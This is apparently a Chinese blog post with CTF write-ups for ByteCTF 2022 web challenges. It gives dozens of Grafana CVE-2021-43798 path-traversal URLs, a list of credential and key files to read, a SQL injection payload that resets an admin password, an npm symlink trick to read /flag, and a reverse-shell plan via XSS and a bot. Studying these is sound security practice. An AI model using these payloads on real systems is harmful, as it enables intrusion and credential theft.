2022ByteCTFWP-Web

2022ByteCTFWP-Web

image-20220926032233525

这次跟lu1u还有学弟一起在n03tAck打了字节, 不过比赛进行到第二天的时候我们要打美团决赛,所以只做了一天的题目有点难搞, Web就只在第一天解出了两个题目, 在这里记一下WP吧

easy_grafana

grafana进去就是先看版本号v8.2.6

Grafana的8.0.0-beta1 to 8.3.0都有CVE-2021-43798这个文件读取漏洞

image-20220924123719303

但是这里直接使用之前的poc访问的话会返回400 Bad Request, 后面试了一下通过添加#成功获取得到内容(不知道后面是不是有中间代理还是什么的),然后读取grafana配置文件/etc/grafana/grafana.ini

image-20220924124621455

如果打过*CTF对这个就不陌生了, 但是有所区别, *CTF是直接在配置文件拿到admin的密码, 而这个则是只能获取secret_key

image-20220924124814491

通过以下payload拿到数据库/var/lib/grafana/grafana.db

/public/plugins/gettingstarted/#/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db

但是打开sqlite数据库可以看到admin的密码是被加密的

image-20220924125102865

之后通过工具grafanaExp使用secret_key还原得到flag:

注意,下载后的工具环境差异可能导致不可用, 我在服务器上跑不了,但是放到kali就没问题

image-20220924125201723

留个笔记

一般通过grafana的任意文件读取漏洞我们可以考虑读取这些文件

/conf/defaults.ini
/etc/grafana/grafana.ini
/etc/passwd
/etc/shadow
/home/grafana/.bash_history
/home/grafana/.ssh/id_rsa
/root/.bash_history
/root/.ssh/id_rsa
/usr/local/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/net/fib_trie
/proc/net/tcp
/proc/self/cmdline

留个poc:

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/alertmanager/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../etc/passwd
/public/plugins/dashboard/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
/public/plugins/grafana/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../etc/passwd
/public/plugins/mixed/../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../etc/passwd

ez_cloud

拿到源码看到注册的地方密码直接被拼接到insert语句直接注入修改admin密码,payload为:

',0),('admin','123456',1),('adminx','123456

之后就是admin/123456进去后台了,

后面进行的操作是:

随便install一个package依赖, 我这里看string-random的代码较少也不需要其他的依赖就选择了这个, npm install string-random下载之后修改里面的package.json,这个package.json会被正常加载, 相当于我们有了一个可以完全自己控制的package.json

这里需要做的修改就是添加dependencies选项, 这样子就可以在node-moudles目录下以依赖名作为文件名, 我们指定的文件(例如/flag)作为目标的软链接

tar –czf string-random.tar.gz string-random

修改好了之后使用上面命令将依赖重新打包, 并且上传

image-20220924231457463

之后我们就可以通过/dependencies接口添加要加载的依赖, 并且将其指定为我们打包的修改后的string-random.tar.gz

image-20220924231603896

然后执行/run接口就会安装加载依赖, 先是题目里面原本的package.json被记载, 从而导致我们指定的string-random.tar.gz被解析出来并且加载string-random.tar.gz里面的package.json

image-20220924231609911

string-random.tar.gz里面的package.json又将一个h0cksr的模块指向了/flag

因此生成的node-moedles/h0cksr指向/flag文件

直接访问这个h0cksr文件即可加载出flag

image-20220924231614192

npm的手册和学习参考

https://zhuanlan.zhihu.com/p/29329534

https://blog.csdn.net/feng98ren/article/details/93729399

https://docs.npmjs.com/cli/v6/configuring-npm/package-json

typing_game(未解出,写做题思路)

今天比赛刚结束, 所以网上也没WP什么的, 不知道自己的思路对不对, 还是记一下吧

源码就一个文件:

var express = require('express'); 
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express(); 
var PORT = process.env.PORT| 13002; 
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs'); 
app.use(express.static('public'))

app.get("/",function(req,res,next){
    var {color,name}= req.query
    res.send("index");
})

app.get("/status",function(req,res,next){
    var  cmd= req.query.cmd? req.query.cmd:"ps"
    var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
    console.log(rip,cmd,ip.isPrivate(rip))
    if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
    const result = child_process.spawnSync(cmd,{shell:true});
    out = result.stdout.toString();
    res.send(out)
})

app.get('/report', async function(req, res){
    const url = req.query.url;
    var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
    if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
        return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
    }
    ipsList.set(rip,now());
    const browser = await puppeteer.launch({
        headless: true,
        executablePath: '/usr/bin/google-chrome',
        args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']
    });
    const page = await browser.newPage();
    try{
        await page.goto(url,{
            timeout: 10000
        });
        await new Promise(resolve => setTimeout(resolve, 10e3));
    } catch(e){}
    await page.close();
    await browser.close();
    res.send("OK");
});

app.get("/ping",function(req,res,next){
    res.send("pong")
})

app.listen(PORT,HOST, function(err){ 
    if (err) console.log(err); 
    console.log(`Server listening on http://127.0.0.1:${PORT}`);
});

就四个路由,分别分析一下:

  1. / 直接是首页,没什么功能,跳过

  2. /status对请求头的X-Real-IP或者请求ip通过ip.isPrivate函数进行验证(里面主要是验证一些内网地址,有很多可选的), 如果验证通过并且传入的cmd参数长度不超过4, 就直接将cmd参数当做命令执行

  3. /report打开一个浏览器进行页面跳转, 访问我们指定的链接, 链接通过url参数指定

    这里要注意, 请求的每个X-Real-IP或者请求ip都会被放到一个全局一直存在的ipsList数组中, 数组大小不能超过30并且同一个ip两次访时间不能低于30秒

  4. /ping 单纯用来做验证, 返回一个pong

本地跑的时候下面这些X-Real-IP都是可以通过ip.isPrivate函数的验证的:

::ffff:10.0.0.0
192.168.0.1
172.16.0.1
127.0.0.1
169.254.0.1
fcff:
fe80:
::1
::

但是使用这些X-Real-IP访问题目的时候却是会显示验证失败, 估计应该是代理中转或者服务开放的问题吧

如果X-Real-IP直接生效的话那这个题目就是经典的4字符bash绕过问题了, 但是这里访问/status的时候请求投头中的X-Real-IP使用失败所以就变的复杂了一点

猜测估计是什么配置问题, 不过浏览器肯定是没问题的

所以思路就是直接写一个完成xss的html文件. 然后通过/report让浏览器加载js代码不断向http://127.0.0.1/status发出请求, 然后构造好要执行的命令直接完成RCE反弹shell出来

注:

这个思路主要是我在本地测试的时候发现访问服务器上的xss.html, 如果http加载的是其他host的网站资源就可能会触发同源策略SOP的限制导致url加载失败, 但是加载127.0.0.1的资源的时候是不会有问题的, 因此可以构造脚本写cs代码让浏览器不断请求http://127.0.0.1/status直接完成反弹shell操作

看一下ip.isPrivate函数:

ip.isPrivate = function (addr) {
  return /^(::f{4}:)?10\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/i
    .test(addr)
    || /^(::f{4}:)?192\.168\.([0-9]{1,3})\.([0-9]{1,3})$/i.test(addr)
    || /^(::f{4}:)?172\.(1[6-9]|2\d|30|31)\.([0-9]{1,3})\.([0-9]{1,3})$/i
      .test(addr)
    || /^(::f{4}:)?127\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/i.test(addr)
    || /^(::f{4}:)?169\.254\.([0-9]{1,3})\.([0-9]{1,3})$/i.test(addr)
    || /^f[cd][0-9a-f]{2}:/i.test(addr)
    || /^fe80:/i.test(addr)
    || /^::1$/.test(addr)
    || /^::$/.test(addr);
};

可以看到倒数第三个匹配只要是fe80:开头的均可, 所以选用这个作为X-Real-IP的前缀, 构造xss.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇